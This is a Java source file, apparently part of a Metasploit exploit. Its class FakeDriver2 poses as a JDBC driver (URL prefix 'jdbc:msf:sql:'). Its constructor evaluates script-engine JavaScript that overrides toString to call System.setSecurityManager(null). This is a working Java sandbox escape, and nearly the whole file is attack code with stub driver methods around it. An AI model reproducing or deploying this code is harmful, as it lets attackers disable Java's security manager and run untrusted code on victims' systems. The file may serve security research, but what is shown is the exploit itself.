71 lines
1.5 KiB
Java
71 lines
1.5 KiB
Java
|
import java.sql.*;
|
||
|
import java.util.logging.Logger;
|
||
|
import java.util.Properties;
|
||
|
import java.util.HashSet;
|
||
|
import java.util.Iterator;
|
||
|
import javax.script.*;
|
||
|
import java.io.*;
|
||
|
import java.lang.*;
|
||
|
|
||
|
public class FakeDriver2 extends HashSet implements java.sql.Driver
|
||
|
{
|
||
|
public static final String URL_PREFIX = "jdbc:msf:sql:";
|
||
|
|
||
|
static {
|
||
|
|
||
|
}
|
||
|
|
||
|
public FakeDriver2() {
|
||
|
Iterator i = FakeDriver._s1.iterator();
|
||
|
try {
|
||
|
ScriptEngine e = (ScriptEngine)i.next();
|
||
|
Object proxy = (Object) e.eval(
|
||
|
"this.toString = function() {" +
|
||
|
" java.lang.System.setSecurityManager(null);" +
|
||
|
" return '';" +
|
||
|
"};" +
|
||
|
"e = new Error();" +
|
||
|
"e.message = this;" +
|
||
|
"e");
|
||
|
this.add(proxy);
|
||
|
} catch (Exception ex) {
|
||
|
//ex.printStackTrace();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
public final boolean acceptsURL(String url)
|
||
|
throws SQLException
|
||
|
{
|
||
|
return true;
|
||
|
}
|
||
|
|
||
|
public final boolean jdbcCompliant() {
|
||
|
return true;
|
||
|
}
|
||
|
|
||
|
public final Logger getParentLogger() {
|
||
|
return null;
|
||
|
}
|
||
|
|
||
|
public final int getMinorVersion() {
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
public final int getMajorVersion() {
|
||
|
return 1;
|
||
|
}
|
||
|
|
||
|
public final DriverPropertyInfo[] getPropertyInfo(String url, Properties info)
|
||
|
throws SQLException
|
||
|
{
|
||
|
return null;
|
||
|
}
|
||
|
|
||
|
public final Connection connect(String url, Properties info)
|
||
|
throws SQLException
|
||
|
{
|
||
|
return null;
|
||
|
}
|
||
|
|
||
|
}
|